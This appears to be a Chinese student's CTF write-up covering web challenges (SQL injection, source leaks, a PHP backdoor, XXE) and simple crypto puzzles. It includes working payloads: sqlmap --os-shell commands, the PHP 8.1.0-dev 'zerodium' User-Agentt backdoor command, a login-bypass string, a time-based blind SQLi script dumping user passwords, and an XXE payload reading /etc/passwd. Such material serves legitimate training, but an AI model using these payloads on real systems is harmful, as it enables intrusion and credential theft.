青少年CTF平台
1、文章管理系统
首先他这里有一个问号id,就想着使用mysql跑一下,但是windows的sqlmap很不给力,都不动,所以我后面换成了kali机来跑
跑一下就跑出了好多的数据库
第一次我使用ctftraining不出货,跑的一个垃圾表,里面啥东西都没有
后来改成后面的word,然后跑出了一个flag,但是提交上去显示是错误的,说明这个是加的flag,好伤心啊
后面再打开提示,提示说要执行命令
那我们就可以使用--os-shell,使用sqlmap执行命令
然后发现这些都是垃圾,没有一个有用的东西,当然,也是因为我菜不会用命令,后面发现可以直接寻找flag,用命令行就是find / --name "flag",
发现里面有一个flag,我们直接就tac /flag,这道题就出来了。
总结:这道题首先就是发现用SQLmap来跑,我之前一直不知道怎么做题目,这次的SQLmap让我更加意识到sqlmap的重要性,遇到题目不会的就是用sqlmap先跑一下或者用dirserch跑一下目录,kali机太好用了,
命令sqlmap.py -u+url+--dbs -batch 爆出来数据库,
-u+url -D 数据库名称 --tables爆数据库的表
-u +url -D 数据库名称 -T 表名 --columus
-u +url -D 数据库名称 -T 表名 --dump
然后亮点是最后一个命令
-u +url --os-shell ,这个是我没有接触到的,之前学过但是忘了这个知识点,这个可以直接进入里面当作命令行来直接执行命令。
2、Robots
这道题目上来就告诉你怎么做,直接访问robots.txt然后就可以发现有flag的路径
进入这个路径后就可以获取到flag,这道题目0颗星,提示太明显了
总结:这道题目运用了源码泄露的这个地方,同时关于源码泄露还有一些其他的,比如以下这些:
一、协议头泄露,打开F12,然后找协议头那边可能就会有flag
二、源码泄露,打开F12,去那边寻找源码,然后找一下注释找到flag
三、PHPS泄露,进入index.phps然后有一个文件,打开文件用记事本打开,出现flag
四、robots后台泄露,进入rebots.txt,然后里面有一个文档,复制粘贴那个文档就出来了
五、JS前台绕过,输入快捷键F12或者ctrl+U进入源码即可
六、源码压缩包泄露,进入www,zip,然后下载一个文件,打开文件会出现flag的目标位置,再输入到网址后面就行了
七、版本控制泄露源码①:
1、解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
2、去.git/objects/ 文件夹下下载对应的文件
3、zlib解压文件,按原始的目录结构写入源代码
八、版本控制泄露源码②
SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。网站管理员在发布代码时,没有使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,可以利用.svn/entries文件,获取到服务器源码。
九、vim临时文件泄露
使用vim时意外退出,会在目录下生成一个备份文件,格式为 .文件名.swp,访问/index.php.swp下载备份文件,用记事本打开即可
十、内部技术文档泄露
随便点,每一个可以点的都点过去一遍,然后会有一些有文档,里面有账户密码什么的
十一、编辑器配置不当,根据题目直接在网址后面加以一个/editor,然后进入到不同的页面,在里面寻找文件看看有没有flag就好了
****/var/www/html/就是类似网站的网址
十二、sql备份文件泄露
数据库默认备份位置
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Backup
默认数据库存放位置
C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA
在网址后面输入backup.sql就可以获取到一个文件,再用VS打开就可以了
三、此地无银三百两
这道题目也是关于源码泄露,就直接打开F12然后就可以获取到这个flag了
总结:就是得看看源码就可以了
四、PHP的后门
首先打开网页,发现里面啥都没有,只有欢迎你,如何提示了你应该知道这是哪个版本的PHP吧,那我们就可以使用BP抓包一下看看会刷新什么
发现里面有一个PHP/8.1.0-dev这个版本号好像是。通过百度,发现这个8.1版本可以通过user-Agentt标头来执行命令
User-Agentt:zerodiumsystem("ls /");命令的大概格式就是这样,但是我自己手敲每次都会出错不知道为什么,我自己敲的不出来。(后面可以了嘻嘻)只要再后面加上命令就可以了
然后成功获取到flag
总结:这道题目主要是需要我们去发现这个后门是什么版本,发现了PHP相对应的版本我们就可以去百度搜索这个版本所存在的漏洞,这个User-Agentt:zerodium+执行的命令然后就可以获取到flag,我觉得这个应该会挺常考的。
五、 Easy的SQLi
首先进去的是一个登录界面,我们可以先尝试使用万能密码1'or 1=1--+来测试一下能不能登录,发现使用#键可以登录成功,但是使用--+就不可以,我们来到BP界面这边发现--+却还是可以用的,并且显示登录成功,说明这个是可以的,那我们就可以考虑盲注了,时间盲注或者布尔盲注
我这边发现用and后面加判断语句有些时候会报错有些时候是对的,使用就可以利用这个点来对他进行盲注。后面就可以通过这个来编写脚本了(由于本人不会写脚本,所以只能借用别人的脚本了,喊AI敲的脚本一直爆不出来。。。。)
import requests
url = 'http://challenge.qsnctf.com:31673/login.php'
res = ""
for i in range(1, 48, 1):
for j in range(32, 128, 1):
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#"
data = {
'uname': "admin' and " + payload,
'psw': 123456
}
try:
r = requests.post(url=url, data=data, timeout=0.2)
except Exception as e:
continue
res += chr(j)
print(res)
break
成功爆出flag
总结:如果登录界面只传两个两个参数,我们试试万能钥匙,,登录失败或者登录成功,那我们就可以使用时间盲注或者布尔盲注,然后通过写脚本就可以爆出来答案。
六、PHP的XXE
题目描述
XXE(XML External Entity)是一种针对XML解析器的攻击技术,也被称为XML外部实体注入攻击。当应用程序解析用户提供的XML输入时,如果没有正确地配置或过滤外部实体,攻击者可以利用这一漏洞执行恶意操作。
XML允许在文档中定义和使用外部实体,这些实体可以从外部资源(如文件、网络URL等)中获取数据。如果应用程序解析了包含恶意外部实体的XML输入,并且未对外部实体进行适当的处理或限制,攻击者可能会读取敏感文件、执行远程代码或进行其他恶意活动。
首先我们可以寻找XML的版本,发现他是2.8.0, libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。 但是这也说明这个版本任然可以使用xxe漏洞
vulhub漏洞—php环境XML外部实体注入漏洞(XXE)_php环境 xml外部实体注入漏洞(xxe)vulhub-CSDN博客直接寻找到这篇文章里,不会xxe漏洞,但是这个文章浮现了这个漏洞
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
最终拿下虚假的flag,我学了xxe会回来再做这道题目的
——————————————————————————————————
密码学部分:
1、凯撒大帝的征讨之路
打开文件是一个凯撒加密,我们直接丢进随波逐流工具里面,一下就可以解出来flag,位移数是21
总结:最简单的凯撒加密,只要一个一个对应即可找到flag
2、pigpig
这道题目一打开是一个图片,刚打开没有思路,后来发现猪圈神器
后面找到了猪圈密码在线神器,然后通过输入图片中的内容即可得出flag
总结:找工具
3、神奇的压缩包(提示是所有密码都是错误的)
根据提示我们可以猜测这应该是伪加密,我们把它丢进010里面看一下他的十六进制
发现这边6 7列这边有01 00,而正常的压缩包应该是00 00,所以我们修改一下里面的十六进制改为00 00,然后就可以正常打开里面的图片了
总结:遇到压缩包什么密码不知道的情况下可以丢到010里面看一下是不是伪加密,如果是未加密就改一下进制,如果是正常加密就正常爆破就可以了
4、熊曰
题目出现了从未见过的加密,但是上面几题让我学会了搜索,我们直接寻找熊曰这种解,然后把我们的加密文本输入进去就可以出现到flag了。
总结:遇到没有见过的flag就要多找线上工具